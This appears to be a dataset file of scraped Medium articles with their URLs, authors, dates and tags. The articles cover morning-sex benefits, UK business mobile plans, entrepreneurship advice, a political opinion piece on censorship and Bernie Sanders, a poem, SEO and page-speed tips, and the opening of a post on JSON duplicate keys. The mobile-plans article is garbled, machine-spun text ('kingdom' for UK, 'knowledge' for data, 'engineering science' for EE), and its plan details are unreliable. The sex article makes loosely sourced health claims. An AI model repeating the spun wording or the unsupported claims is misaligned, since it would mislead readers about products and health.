Waking up earlier to connect intimately with your partner it’s a way to rekindle the flame of your relationship and ensure that, no matter on how the day develops, you two had time to be with each other.
2. You start the day with a light workout
How many times did you plan a run or hit the gym in the early hours of the day? And how many times you actually did it?
Morning sex is a sexy, healthy way to give a push on your physical activity. Sex burns about five calories per minute and depending on the positions you engage, you can start the day working out several muscles.
3. You will feel relaxed and in a good mood
When you orgasm, your body releases the “feel-good” hormones, dopamine and oxytocin.
After climaxing, you will feel light, loaded with pleasurable sensations. Is there a better way to start the day?
But the great thing is that the sensation will linger in your body (and mind). This sense of relaxation will stay with you for hours.
Sex is a natural anti-depressant, so nothing better than start your day with a dose of this “medication”!
4. Your appearance will improve (yes, you’ll glow!)
No, it’s not a myth: your skin truly glows after having sex.
This study concluded that after-sex glow is real and it can last up to 48 hours.
The after-glow sex is explained by the increase of blood circulation that occurs during sex — that’s why we flush.
The extra blood that runs over our body, and specifically, into our face, carries oxygen. As a result, we will have a spike of collagen (beneficial for our skin) and estrogen (that enhances skin elasticity).
After sex, our skin will look fresher and it will glow!
5. You will be more productive
The “feeling-good” sensations that sex causes will be reflected not only on your mood or in the skin, but they will also positively affect your productivity.
This 2017 study concluded sex has a positive impact both in the employee’s productivity and in their sense of job satisfaction.
Despite the study doesn’t relate these benefits directly with morning sex (but with sex performed in the last 24 hours), it reveals important information: sex makes you more productive and professional happier! | https://medium.com/emma-london-writes/the-amazing-benefits-of-morning-sex-a0788bbe6f2e | ['Emma London'] | 2020-11-27 12:26:42.968000+00:00 | ['Relationships', 'Sexuality', 'Life', 'Sex', 'Advice'] |
Best Mobile Phone Business Plans -2020 | Best Digital Notepad/NCompare business mobile deals from kingdom networks engineering science, O2, Three, Vodafone and additional
If you’re trying to find the most effective business mobile deals, then you’ve return to the proper place, as during this guide we tend to compare business mobile deals that supply you essential options and allowances, additionally because the best handsets and from all the most effective kingdom networks.
Whether you’re once the new “Samsung Galaxy Note nine, iPhone XS or Samsung Galaxy S9, a free phone”, immeasurable knowledge, very cheap doable monthly price or all of the on top of, we’ll assist you realize the proper deal. inspect our list of the most effective business mobiles within the kingdom for 2019.
We’ve also compiled various guides if you’re inquisitive about the most effective business SIM-only deals additionally because the “best mobile phone business plans,” best business broadband and best mobile broadband deals.
Underneath that you just will flick thru our individual French telephone guides for all of the “best mobile deals” out there.
The cheapest around for data-hungry users
Unlimited minutes | Unlimited texts| 20GB knowledge | 12-month contract | £20
Should you comply with sign a 12-month contract, then Vodafone’s Red bundle is presumably the most effective provide within the kingdom. You get unlimited knowledge, minutes (usable each within the kingdom and in the EU) and a large 20GB knowledge to use with an additional 4GB to be utilized in the EU in forty countries; you’ll be able to perpetually decide on the WorldTraveller choice that permits you to use your UK allowance in a further fifty eight countries worldwide for a banker’s bill every day. Vodafone additionally offers a 30-day money-back pledge. inspect this deal on Vodafone’s web site
Terrific for globe-trotters
Unlimited minutes | Unlimited texts| 32GB knowledge | 12-month contract | £23
The Telefonica-owned company offers one in every of the foremost spectacular packages within the line-up. it’s additionally the foremost pricey though you get way more than most. Not solely does one have unlimited minutes and texts within the kingdom and across Europe (well, there’s a good usage limit of two,000 minutes and a pair of,000 texts within the EU), you furthermore mght get 3GB to use within the EU and a hundred and twenty kingdom to EU minutes. nice if you travel plenty to dry land Europe. O2 additionally offers a 30-day facultative contract for an additional £2 per month. This deal has plenty higher in recent months, because it has upped the info to an enormous 32GB, whereas cutting the value to £23 a month.
It has a novel point
Unlimited minutes | Unlimited texts| 30GB knowledge | 12-month contract | £16
O2 may win once it involves skillfulness however engineering science nearly grabs the highest spot when it comes to sheer worth for cash. This deal may be a good provide that provides you an enormous 30GB of information for £16 a month. engineering science has upgraded its network to superfast 4GEE and you’ll be able to even share your arrange with 3 co-workers on constant bill; Note that, in contrast to several competitors, tethering and VOIP are allowed.otebook with Pen : Keep Your Notes Secure
View this deal on EE’ website | https://medium.com/@altonmra/best-mobile-phone-business-plans-2020-eb8a74728280 | ['Claes Sean'] | 2019-10-09 19:57:26.517000+00:00 | ['Best Practices', 'Samsung Salaxy S9', 'Apple', 'Mobile', 'Best Mobile Phone Deals'] |
When You Shouldn’t Pursue A New Idea | When You Shouldn’t Pursue A New Idea
Entrepreneurs are flooded with new ideas all the time, here’s when you should drop them.
Last winter in a span of 5 months, I got my website redesigned, built 2 new products, and 1 course. I was creating and executing ideas like a madwoman.
I was on an idea rampage.
I’d love to say all that creative flow was a transformative experience that completely benefited my business, but half of what I created was complete garbage.
2 out of the 4 things I tried were winners, but the other 2 were a massive waste of time — about 50 hours of wasted work.
I love the experience of creating, but not all good ideas are worth executing, nor are they worth the time.
You may experience something similar as you’re running your business. You may be flooded with new ideas on a consistent basis and see a lot of new things to try amongst your competitors.
Whether it’s a new social media platform you’re trying out, a campaign idea that popped into your head, or a new product you want to sell — not all of these ideas are going to be worth any movement.
Your greatest skill as an entrepreneur will be to learn how to rein in this flood of ideas. Understanding what you shouldn’t execute amongst a sea of possible ideas is what separates progress from stagnation.
When we get distracted by idea rampages and execute a bunch of new things at once, this steers us away from the path that is meant to get us somewhere, in time.
Tactful New Ideas
The nuance of new idea execution is understanding when a new idea should not be pursued. There’s a fine line between experimenting and tried and true.
Whenever I’m reflecting on whether to pursue a new idea, I try to anchor it to a proven formula. For example, if I’m releasing a product that’s a self-study course and I’ve sold a self-study course in the past, I take my learnings from that experience and consider it a twist on an already tried and true formula.
New ideas that are based on tried and true formulas usually have a strong probability for succeeding if a success formula is already nailed down with it. This is where my winners were last winter during my time of experimentation — they were both based on tried and true formulas.
If I, however, have not created a (successful) self-study course before or I’ve created something close to it, I consider it an experiment.
When You Shouldn’t Experiment
As a new business, there are definite times when you shouldn’t experiment (it’s most of the time).
If your business does not have recurring monthly revenue or has trouble stabilizing its monthly revenue, you should not be running any experiments right now. This means for a lot of new businesses, you shouldn’t be experimenting on anything else other than sales in the first year or so.
Your sole focus should be on figuring out a sales formula to stabilize your cash flow. Once that core foundation is figured out, then you can move on to experimentation.
It generally is also not a good time for experimentation when your business is in an unsettled state in any shape or form, or if you’re carrying a heavy workload. Experimentation is best only when you have the time and energy to steward it.
Once your business has entered a phase where it’s running smoothly and you have some time freed up, that’s when you’ve reduced as much risk as possible within your business to entertain experimentation. | https://medium.com/sales-mastery/when-you-shouldnt-pursue-a-new-idea-bcb7748a712c | ['Sophia Sunwoo'] | 2020-05-27 15:01:01.569000+00:00 | ['Startup', 'Entrepreneurship', 'Productivity', 'Brainstorming'] |
Censorship Supports Corruption | Censorship Supports Corruption
Warning — -This is not a news report. This is opinion developed from many sources, some of which are included for clarity, transparency and rebuttal, which is the Free Speech that shares ideas.
Censorship Supports Corruption….
Does one actually hear state-run/corporate-owned MSM talking heads say Bernie Sanders must drop out of the race before the debate? If Joe Biden is the right candidate, any debate would only help him. What are they worried about?
A distinct separation exists between We The People and those self-appointed leaders who stand in front of us and bray out those leaders’ personal desires. This is apparent between political parties and those individuals captured by such party, between union leaders and union members, state-run/corporate-owned MSM and the public which groups have nothing in common, the US government and We The People who are insultingly to be governed, and one suspects between Elizabeth Warren and some of her supporters — — https://medium.com/@michaelbarth_34088/team-warren-for-bernie-sanders-a7902deb5343---We, the undersigned former employees and fellows of Warren for President, are ready to get back in the fight for a just and progressive future. We know that we need a bold, ambitious policy agenda for working families, marginalized communities, and our planet. We know that we won’t beat Donald Trump by simply talking about a return to business as usual. We hold these values close to our hearts because we’ve spent months talking about them with community members and volunteers in the field on behalf of Elizabeth Warren.
That’s why the best option for Warren Democrats right now is to support Bernie Sanders for President, in addition to fighting for Democratic victories across the board in Senate, House, and local races. — -In Senator Warren’s words: “Choose to fight only righteous fights, because then when things get tough — and they will — you will know that there is only one option ahead of you: Nevertheless, you must persist.”
Let’s persist together.
List in formation — and growing! Message @mscottbarth or @aliciastwocents on Twitter to sign on!
— -end of medium info sent by Rema…thanks for sharing — — https://www.facebook.com/rema.loeb/posts/3365270766822900
Also reported in portside — -https://portside.org/2020-03-10/team-warren-bernie-sanders---What are our goals?
1) Work to consolidate those who are ready to jump from Warren to Sanders immediately and build a community to facilitate the transition.
2) Outreach to inspire other former Warren supporters who are not yet ready to support Senator Sanders or considering Vice President Biden.
3) Mobilizing volunteer action for upcoming primaries and other important races using the grassroots networks that we have cultivated with the Warren campaign.
4) Carrying forward Elizabeth Warren’s ideals, including building a broad-based inclusive coalition founded on respect and empowering women and non-binary individuals to run for office.
5) Carrying forward Elizabeth Warren’s policy priorities by encouraging Senator Sanders and all Democratic leadership to adopt her plans, including but by no means limited to, her plan to end Washington corruption, her LGBTQ+ plans, her plans to uplift women of color, and ending the filibuster.
— -end of portside info — -
Joe Biden is not distinguishable from any Republican — --https://portside.org/2020-03-10/joe-biden-no-friend-public-education---Earlier that month, at a fundraiser, Biden reminisced about his days collaborating with infamous segregationists while assuring his wealthy donors that “nothing will fundamentally change” in their standard of living if he is elected president. Though he later apologized for praising defenders of Jim Crow, he has yet to apologize for his role in undermining federal efforts to integrate schools.
— -end of portside info —
The insinuation of a cut to payroll taxes for employees who are out of work due to Coronavirus restrictions is a capitalistic hierarchical Establishment ploy to undermine Social Security into which millions of retirees paid over 30, 40 and 50 years, and mirrors the actions of Bill Clinton who balanced his budget on the backs of the elderly — --https://portside.org/2020-03-10/health-emergency-demands-treatment-not-tax-breaks---Progressives need to need to enunciate and fight for a plan to deal with the potential pandemic. Leaving solutions up to those who have made the situation worse makes no sense.
— -end of portside info — -
Predatory behavior from Capitalist Party D’s&R’s is corruption — — PETITION — --https://actionnetwork.org/forms/patients-over-profits/?akid=25853.49731.OjIfSt&rd=1&source=group-nnu-20200310%3Freferrer%3Dgroup-nnu&t=1---Patients Over Profits is a campaign to get elected officials at every level, from mayor to presidential candidate, to pledge to reject any donations over $200 from anyone affiliated with the corporate front group, Partnership for America’s Health Care Future (which spent $143 million in 2018 alone to influence our democracy).
— -end of actionnetwork info — -
This applies to the shameful capitalist Establishment politicians who rely on big-money donations for their position of lawmaker, as they undermine human, civil and environmental rights of We The People — --https://www.opensecrets.org/members-of-congress/summary/james-clyburn?cid=N00002408
It’s not just Trump who is salivating over screwing over We The People. As Joe Biden opined several months ago, it should have been Beau Biden running for President? Oh, really? Who says so; and why do we need political family Dynasties and/or Establishment politicians owning the Presidency? — — https://www.laprogressive.com/political-hit-man/?utm_source=LA+Progressive+NEW&utm_campaign=475f508bfc-LAP_News_4_15_April_17_PC4_15_2017_COPY_01&utm_medium=email&utm_term=0_61288e16ef-475f508bfc-286972237&mc_cid=475f508bfc&mc_eid=e213faa886---
I see no difference, with all due respect, to imposition of either Branch of the Capitalist Party upon We The People as our President. Those candidates pandering to big-money interests to fund their campaigns, seem unconcerned about corruption. To be clear, we need to recognize corruption, which has been insinuated into our culture so deftly as to be unnoticeable. It is time to recognize, notice, and challenge corruption — — https://definitions.uslegal.com/p/political-corruption/---Political corruption means the abuse of political power by the government leaders to extract and accumulate for private enrichment, and to use politically corrupt means to maintain their hold on power. However, abuse of political power for other purposes, such as repression of political opponents and general police brutality, is not considered political corruption. Political corruption takes place at the highest levels of the political system, and hence it can be differentiated from administrative or bureaucratic corruption. It can also be distinguished from business and private sector corruption.
— — end of uslegal info — -
Of interest is the opinion that political corruption isn’t included in repression of opponents. Really? Perhaps it should be. Convenient is the definition by the same Establishment poised to profit thereby.
These are reasons We The People can best protect human, civil and environmental rights by being outspoken in our democratic (small d) Constitutional republic.
We The People have been indoctrinated into accepting a back seat to the interests of Establishment in a nation where government isn’t of, by and for The People, but instead is “run like a business” for the interests of Establishment. The anomaly of Coronavirus has highlighted this abuse of our government for Establishment pleasure, as Establishment scrambles to pretend to a responsible intelligence as to how to proceed, while displaying on-going actions in response, such as lowering payroll taxes for employees to decrease the economic harm to workers who aren’t receiving a paycheck, and couldn’t have payroll taxes withdrawn anyway. The double talk is breath taking but typical. This raises to a level of notice, the general inability of the government to respond to governance — — https://www.laprogressive.com/revillage/?utm_source=LA+Progressive+NEW&utm_campaign=475f508bfc-LAP_News_4_15_April_17_PC4_15_2017_COPY_01&utm_medium=email&utm_term=0_61288e16ef-475f508bfc-286972237&mc_cid=475f508bfc&mc_eid=e213faa886---“Capitalism can thrive when people feel so isolated that they can be made to feel inadequate, and their internal compasses can get really confused,” he says. “If we’re alienated from our own species, then it’s really easy to manipulate us.”
— -end of laprogressive info —
Capitalism is hierarchy. Hierarchy in capitalism is dictatorship in which humanity is relegated to the position of human resources and/or consumers.
Democratic Socialism Is The Web Of Humanity
The majority of We The People seem to value a democratic socialism — -https://www.commondreams.org/views/2020/03/10/five-americans-living-social-democratic-norway-explain-why-bernie-sanders-so?cd-origin=rss&utm_term=AO&utm_campaign=Daily%20Newsletter&utm_content=email&utm_source=Daily%20Newsletter&utm_medium=Email---We are five Americans living in social democratic Norway. We think that our experiences provide a unique perspective as to why it is that so many Americans so strongly support the reforms called for by the platform of Sen. Bernie Sanders. Our time in Norway also helps to explain why it is so challenging for many Americans to imagine Sanders’ proposals in concrete terms. We draw from our dual reality of living in Norway while looking over — with critical eyes — at what’s going on in the United States.
— -end of commondreams info —
When so-called information is indoctrinated into We The People by state-run/corporate-owned MSM in order to comply with capitalistic hierarchical Establishment as represented in the Capitalistic R&D politicians, the information can be corrupted.
That Trump appears to be the deranged uncle of capitalism doesn’t mean that others in the capitalistic hierarchical Establishment don’t support that hierarchy over the health and welfare of We The People — -https://mailchi.mp/inequalitymedia/trumps-botched-response-to-the-coronavirus?e=d6a62d1dd1
These are reasons many of We The People support Bernie Sanders for President — --https://www.youtube.com/watch?v=fUWdZRhwM3w----Krystal and Saagar react to results, Michael Moore’s dire warning for Democrats
If censorship by the Capitalist Party D&R of Bernie Sanders, an Independent attempting to represent the views of the majority of the electorate who are neither registered as Democrats or Republicans, one will happily vote for Green Party Presidential candidate Howie Hawkins — --https://www.youtube.com/watch?v=ABW-_2lnn00&t=3924s----
PRIMO NUTMEG #175: Howie Hawkins
I want to live in a nation where one can say publicly that the incredibly high literacy rate in Cuba is commendable. I want to be able to say publicly that the USA today has socialism in the form of law enforcement, libraries, highways, the US Military, public schools, and hospitals, without being called a communist. I want to live in a nation where debates are not controlled by Establishment political Parties Democrat and Republican, in order to censor the voices of We The People who do not benefit by capitalistic hierarchical Establishment.
Suspicions by Establishment politicians that a voter may “go rogue”, seems to result in long lines at the polls — --https://mailchi.mp/publicintegrity.org/our-scariest-stories-976597?e=cf47518628
**************************************As a Green Party registered voter routinely, one re-registers every 4 years into the Democratic Party to be able to cast a vote in the Democratic Primary for Bernie Sanders. One is positive one is not alone in doing so.
Lost in the fog of political corruption over several decades, is the fact that the Presidential debates were once in the capable hands of the League of Women Voters — --https://www.lwv.org/newsroom/press-releases/league-refuses-help-perpetrate-fraud----Most objectionable to the League, Neuman said, were conditions in the agreement that gave the campaigns unprecedented control over the proceedings. Neuman called “outrageous” the campaigns’ demands that they control the selection of questioners, the composition of the audience, hall access for the press and other issues.
“The campaigns’ agreement is a closed-door masterpiece,” Neuman said. “Never in the history of the League of Women Voters have two candidates’ organizations come to us with such stringent, unyielding and self-serving demands.”
Neuman said she and the League regretted that the American people have had no real opportunities to judge the presidential nominees outside of campaign-controlled environments.
— — end of lwv info — -
In other words, (paraphrase) patriarchy says, “we’ll handle it from here, little ladies” — -
https://straty.com/controlling-outcomes-controlling-table-stakes/---After studying the election process in 1985, the bipartisan National Commission on Elections recommended “turning over the sponsorship of Presidential debates to the two major parties”. The CPD was established in 1987 by the chairmen of the Democratic and Republican Parties to “take control of the Presidential debates”. The commission was staffed by members from the two parties and chaired by the heads of the Democratic and Republican parties… (wikipedia)
— -end of straty info — -
https://www.debates.org/---The Commission on Presidential Debates (CPD) was established in 1987 to ensure, for the benefit of the American electorate, that general election debates between or among the leading candidates for the offices of President and Vice President of the United States are a permanent part of the electoral process. CPD’s primary purpose is to sponsor and produce the quadrennial general election debates and to undertake research and educational activities relating to the debates. The organization, which is a nonprofit, nonpartisan, 501(c)(3) corporation, sponsored all of the presidential debates in 1988, 1992, 1996, 2000, 2004, 2008, 2012, and 2016
— -end of debates info — -The Commission on Presidential Debates, replacing the League of Women Voters, controls who can debate and on which topics. They call this educating the public, others may see this as brainwashing. The CPD would profit by hearing from We The People, as to concerns about censorship. The censorship seems to have become so blatant, that petitions to the CPD have reached into the hundreds of thousands. PETITION — — -https://www.change.org/p/commission-on-presidential-debates-get-joe-rogan-to-moderate-the-2020-presidential-election/u/25040294--------Thank you all for continuing to share and support this petition. Within the last couple of days, I have composed and sent an e-mail to the Commission on Presidential Debates. The message reads as follows: — — end of change.org info — -
This also filters out any other than Democratic Establishment and Republican Establishment views. This means We The People have nothing to say in our own governance.
Consider the large number of voters who do not embrace the policies of either of the Democratic Establishment or Republican Establishment, and the fact that the Democratic Establishment and Republican Establishment have swindled the American electorate out of unbiased information directly from possible Presidential choices; often outside of the Capitalist Party D&R. Since these disgusting events in the ‘80’s, state-run/corporate-owned MSM has consistently indoctrinated We The People into accepting the falsehood that “we are a 2-Party system”. This has had the effect of rending illegitimate, the deeply legitimate tradition of free, clean, and fair elections.
In other words, politicians are now choosing their voters, rather than voters choosing their politicians.
Acting on the human frailty of ignorance combined with arrogance, and using as an example the Democratic Establishment, one recognizes what is called a Democratic Base that believes in their right to dictate to others, their voting choices.
— — -
https://www.haudenosauneeconfederacy.com/influence-on-democracy/
https://www.youtube.com/watch?v=2pIDtvTydkU&t=638s
In Solidarity With People And Nature —
www.mothersoutfront.org
www.facebook.com/gpnjbc ;; — Green Black Caucus
www.greenpeaceusa.org
www.economichumanrights.org
www.draftbernie.org
www.psr.org
www.blackyouthproject.com
www.riverkeeper.org
www.catskillmountainkeeper.org
www.celdf.org
www.wearesenecalake.com
www.democracynow.org
www.gp.org
https://www.greenparty.org/Platform.php
www.freepress.net
www.codepink.org
www.m4bl.net
www.starhawk.org
www.openthebooks.org
www.nyipl.org
www.pogo.org
www.opensecrets.org
A Resource — www.7song.com | https://medium.com/@jeanhhricik/censorship-supports-corruption-b9f0d84ed893 | ['Jean Hhricik'] | 2020-03-11 16:45:16.737000+00:00 | ['Howie Hawkins', 'Government', 'Health', 'Bernie Sanders', 'Work'] |
It’s Alright For Now | While also letting that diamond snake
Slither around inside of your brain:
The very best days of your life are gone-
And for that clock-strikes-twelve moment
Frozen eternally in time, we felt things
We could never know- we felt evolved,
Like everything was alright,
Like our joy in that moment
Was all that mattered,
Like as long as we convinced ourselves
That we were fine- because of course we were,
We weren’t dying or anything-
Everything was alright.
For that one magical spin through the room
When shoes don’t hurt at all,
When strangers and family are the same,
When the music is just loud enough,
When there is no warfare or romance,
When there is just us without boundaries,
Everything that could have been right
Screamed in our faces, “You’re doing fine!”
These are the escapes we make
Photo by Sharon McCutcheon on Unsplash
From day after day after relentless day
Of pretty girls tearing themselves to pieces
Hour by hour with a million truths unspoken
Hiding behind blood-stained straight teeth
Does it really matter how white and straight
Your teeth are when the hide behind blood stains?
Does it really matter if everything’s alright?
Does it matter if my heart always loved you
Or if this is a brand new hurricane? Does it?
Does it matter if you ever loved me like you said?
As long as we can pretend, everything’s alright. | https://thecreative.cafe/its-alright-for-now-6fa6d01c1307 | ['Brianna R Duffin'] | 2020-12-15 00:37:57.418000+00:00 | ['LGBTQ', 'Teens', 'Poetry', 'Secrets', 'Love'] |
Website Optimization — Where do I start? | This article gives you some quick tips and helpful resources on how to optimize a web page (not just Landing Pages).
Why Optimize Pages:
You should be optimizing your landing pages for User Experience (no excuses), as doing so will also help with advertising naturally. UX is important because Google wants to make sure that the pages it sends people are easy to use, load fast, and of course, have relevant content.
When you take time to think about it, that makes perfect sense; but most companies I interact with just don’t know where to start exactly. Here are some things to keep in mind (with extra tips/ details below):
Does the page load fast?
What does Google think of the page?
Are the images compressed?
Is your meta description missing or too long in SERP (not cut off/ truncated)?
Are your Heading tags coded in, and are they in the right hierarchal order (not just used for styling)?
Is your title tag optimized and looks proper in SERP (not cut off/ truncated)?
Is the content relevant to a users’ search/ query?
We could go into more technical details, but the above are great places to start and should be kept in mind.
Optimized Page Speed
Many clients I interact with are not as concerned about page speed as they should be, even though there is overwhelming evidence that it directly affects analytics due to user experience (higher bounce rates, lower time on page, negative impact on conversion rates, etc.).
I believe these clients are not concerned because they simply don’t monitor the negative effects. Bad page speeds will impact their rankings, impact their conversions/ goals, and with advertising, it will impact their QS (Quality Score: Google & Bing). It is important enough that Google stated it is a data point picked up by its algorithm to rank pages.
So, what are some ways to look at speed overall? Below are some helpful tools and references:
Tools for Page and Site Speed Lookup
Google Page Speed Insights — This is a great place to look at the speed of a specific page. Not only will it give the page a score, but it will explain what exactly is causing issues and give you extra information when you click on “Show how to fix”. Also, you can download the optimized files at the bottom (though the images usually can be compressed just a bit more; or even though some light photo manipulation).
PageSpeed Insights Rules: This page gives you all the information needed to understand what Google looks at on your page. In general, there are some great best practices to keep in mind.
GT Metrix: This tool uses several different tools available on the web and brings them to one location. Pulling from PageSpeed Insights, YSlow, and more, this tool does a good job at analyzing your page’s speed performance. If you sign up for free, you have better control of the test settings (For example, you can change the “Test Server Region” to something more local.)
WebPagetest: This site is a bit more technical, but gives you great insight into the speed of a page. Not only that, but it gives you great visuals on what exactly is slowing down/ loading on a page and a checklist of where to start optimizing. Also, before starting the test, you can setup multiple “runs” to compare views & metrics.
Optimized Images
Something I usually see ignored are images. Not only are they uncompressed most of the time, but they are usually not sized correctly. Additionally, image sprites are not used when applicable or just don’t respond correctly for mobile. So what should you keep in mind?
Keep your images optimized:
Compress your images ! If you already used Google PageSpeed Insights, it provides compressed images after the scan. The files they provide after the scan are a tiny bit hard to find, but if you look close to the bottom of the page, you will see text labeled “Download optimized image, JavaScript, and CSS resources for this page.”
! If you already used Google PageSpeed Insights, it provides compressed images after the scan. The files they provide after the scan are a tiny bit hard to find, but if you look close to the bottom of the page, you will see text labeled “Download optimized image, JavaScript, and CSS resources for this page.” GiftOfSpeed is a tool that identifies which images to minify and their sources, images that could be used in a CSS sprite, and even which images don’t have size dimensions (width and height are set for quicker page rendering).
Check your image dimensions ! Sounds weird that setting image dimensions can affect page speed, right? Well, not only do you not have to wait for another asset (the stylesheet) to load, but by specifying the height and width attributes of an <img>, the browser reserves a space matching those dimensions for that image while it continues parsing the rest of the HTML document. Then, when the browser loads the image, the reserved space is waiting and there is no need to "reflow" the document (A reflow involves changes that affect the layout of a portion of the page or the whole page (different then a "repaint").) Providing this sizing data results in a faster rendering process.
! Sounds weird that setting image dimensions can affect page speed, right? Well, not only do you not have to wait for another asset (the stylesheet) to load, but by specifying the height and width attributes of an the browser reserves a space matching those dimensions for that image while it continues parsing the rest of the HTML document. Then, when the browser loads the image, the reserved space is waiting and there is no need to "reflow" the document (A reflow involves changes that affect the layout of a portion of the page or the whole page (different then a "repaint").) Providing this sizing data results in a faster rendering process. Use CSS sprites where applicable . That means combining multiple images into a single image called a sprite sheet or tile set. Sprites reduce network congestion by reducing the number of downloads needed to render a web page (“HTTP requests” — which you can see using WebPagetest or GT Metrix).
. That means combining multiple images into a single image called a sprite sheet or tile set. Sprites reduce network congestion by reducing the number of downloads needed to render a web page (“HTTP requests” — which you can see using WebPagetest or GT Metrix). Size your images correctly ! Too many times I see images that are extremely large. Basically, it seems people just take the largest file size from a stock site and toss them into a section and manually resize using some kind of wysiwyg editor. Using an image that is giant in a spot that only needs a couple hundred pixels is slowing down your site! Find the size you need, resize and compress the image, and then specify those image dimensions in your code please.
! Too many times I see images that are extremely large. Basically, it seems people just take the largest file size from a stock site and toss them into a section and manually resize using some kind of wysiwyg editor. Using an image that is giant in a spot that only needs a couple hundred pixels is slowing down your site! Find the size you need, resize and compress the image, and then specify those image dimensions in your code please. Check your images on mobile! I don’t know how many times I have seen a small image blow up to gigantic sizes and become a blurry mess. Or, a large image shrinks down to be illegible and hard on the eyes. Not only does it look unprofessional, but it will provide a bad UX also (and Google will figure that out…). Some common issues I see on mobile are large images that should not be displayed at small widths and subsequently create huge scrolling sections; small images that are sized down to even smaller sizes making clicking/ targeting hard on a user; large images that should be displayed at a smaller resolution being coded as responsive, but the image size is massive for mobile thereby causing weird breaking points that push the copy around, etc. All these issues can easily be avoided by doing a bit of mobile QA! Google will notice these issues from user interaction/analytics or from a crawl, so don’t let something so simple impact your rankings or conversions!
Optimized Data Points and Headers
There are two points I want to make in this section.
One, stop using headers as styling elements!
Two, unless you have a large site, stop dynamically generating titles & metas!
Now, you might not get exactly penalized for these issues, and they won’t impact page speed times, but they are quick wins and important when optimizing a page. Why?
Each header is a data point Google will rank the page against . Be wise with what headers you are using to give Google to match you with keywords or queries; being lazy with it will water down your content and make it harder for Google to understand what the page is about. Stop putting lazy filler content, generic statements, or data points that don’t support content in headers, i.e: “We help the way you do business”, “Take control of your IT future”, “Take your IT to the next level”, etc. Text like this tells Google nothing about the page/ supporting content.
. Be wise with what headers you are using to give Google to match you with keywords or queries; being lazy with it will water down your content and make it harder for Google to understand what the page is about. Stop putting lazy filler content, generic statements, or data points that don’t support content in headers, i.e: “We help the way you do business”, “Take control of your IT future”, “Take your IT to the next level”, etc. Text like this tells Google nothing about the page/ supporting content. Stop using your headers for styling purposes . I have seen too many pages with dozens of H1s or H2s that are being used to style a CTA, or Testimonial, some generic statement like the examples above in a fancy style, or even house images that Google probably won’t recongize or don’t add to the content at all. Your headers are data points to rank pages; make sure what you have in them helps Google understand your page. Again, like above, stop using filler content in them and generic statements (i.e. “Better IT for A Better Business”, “Focus on your business while we focus on your IT”, etc.). Those “catchy” headlines tell nothing to Google and most of the time to the user as well. Also, unless you coded your page in sections properly using HTML5, please only use one H1 for now and stay in hierarchal order (Don’t skip a tag number when going up or down the order.)
. I have seen too many pages with dozens of H1s or H2s that are being used to style a CTA, or Testimonial, some generic statement like the examples above in a fancy style, or even house images that Google probably won’t recongize or don’t add to the content at all. Your headers are data points to rank pages; make sure what you have in them helps Google understand your page. Again, like above, stop using filler content in them and generic statements (i.e. “Better IT for A Better Business”, “Focus on your business while we focus on your IT”, etc.). Those “catchy” headlines tell nothing to Google and most of the time to the user as well. Also, unless you coded your page in sections properly using HTML5, please only use one H1 for now and stay in hierarchal order (Don’t skip a tag number when going up or down the order.) Unless you have a large site, you should really keep an eye on your Titles and Meta Descriptions. Yes, Matt Cutts said they don’t directly affect your rankings, but they will affect your user interaction/ click throughs, which in turn can affect your rankings. Metas are your chance to show searchers that your page contains the information they’re looking for. Consider them a way to advertise your content to a searcher in order to show the information you have is relevant. Titles also help search engines a lot when trying to understand your page. Your search engine results are really the first impression searchers have of your page, give them something enticing to click on. Give your titles some love, and more importantly, check out how they look in SERP.
Yes, Matt Cutts said they don’t directly affect your rankings, but they will affect your user interaction/ click throughs, which in turn can affect your rankings. Metas are your chance to show searchers that your page contains the information they’re looking for. Consider them a way to advertise your content to a searcher in order to show the information you have is relevant. Titles also help search engines a lot when trying to understand your page. Your search engine results are really the first impression searchers have of your page, give them something enticing to click on. Give your titles some love, and more importantly, check out how they look in SERP. Use a SERP Checker — When I say check them out in SERP, it is so they don’t look odd or are truncated (You can check how they look using a SERP Checker.) Sometimes you can see metas go up to 300 characters in length (same with Titles, going upwards of 100 characters), but that is not always the case. For metas, you should stay under 160 characters, and for titles, you should stay around 50–60 characters.
Provide Relevant Content and Ease of Use
This should be a no-brainer, but please keep your content up to date/ ever green if possible. I can’t count the amount of times where I see “thin content” pages or pages that provide non-relevant content to the actual search/ query. Google wants you to basically stay transparent and be as relevant to your ad text, keyword, or query focus as possible. .
There a few things to keep in mind that Google specifically suggests to improve your landing page experience. Those bullets have been referenced below:
Offer relevant, useful and original content
Make sure your landing page is directly relevant to your ad text and keyword.
Be specific when the user wants a particular thing: If someone clicks on an ad for a sports car, they shouldn’t wind up on a general “all car models and makes” page
If someone clicks on an ad for a sports car, they shouldn’t wind up on a general “all car models and makes” page Be general when the user wants options: If someone’s looking to compare digital cameras, they probably don’t want to land on a specific model’s page
Provide useful information on your landing page about whatever you’re advertising.
If someone’s looking to compare digital cameras, they probably don’t want to land on a specific model’s page Provide useful information on your landing page about whatever you’re advertising. Try to offer useful features or content that are unique to your site.
Promote transparency and foster trustworthiness on your site
Openly share information about your business and clearly state what your business does
Explain your products or services before asking visitors to fill out forms
Make it easy for visitors to find your contact information
If you request personal information from customers, make it clear why you’re asking for it and what you’ll do with it
Distinguish sponsored links, like ads, from the rest of your website’s content
Make mobile and computer navigation easy
Organize and design your page well, so people don’t have to hunt around for information.
Make it quick and easy for people to order the product mentioned in your ad.
Don’t annoy customers with pop-ups or other features that interfere with their navigation of your site.
Help customers quickly find what they’re looking for by prioritizing the content that’s visible above-the-fold
Be fast — decrease your landing page loading time
Make sure your landing page loads quickly once someone clicks on your ad, whether on a computer or mobile device.
www.tslmarketing.com | https://medium.com/tsl-marketing-seo/website-optimization-where-do-i-start-f0ba82a1df79 | ['Tsl Marketing'] | 2017-10-23 15:29:19.521000+00:00 | ['Marketing', 'Seo Tools', 'Digital Marketing', 'Seo Tips', 'SEO'] |
Modifying org.json to handle duplicate keys | A JSONObject is an unordered collection of name/value pairs. Its external form is a string wrapped in curly braces with colons between the names and values, and commas between the values and names. The internal form is an object having get and opt methods for accessing the values by name, and put methods for adding or replacing values by name.
JSON Object Representation
A sample JSON Object looks something like this:
This article is written with the assumption that you are already familiar with JSON and org.json library in Java.
As per the documentation of JSON: An object structure is represented as a pair of curly brackets surrounding zero or more name/value pairs (or members). A name is a string. A single colon comes after each name, separating the name from the value. A single comma separates a value from a following name. The names within an object SHOULD be unique.
But, let’s get past this definition and assume that you have a string with duplicate keys and you have to parse that key into a JSONObject.
Sometimes you have an API response which is flawed and has duplicate keys. Instead of waiting for someone to fix the API, you can write a couple of classes to handle duplicate keys.
How can we parse a string into a JSONObject with duplicate keys?
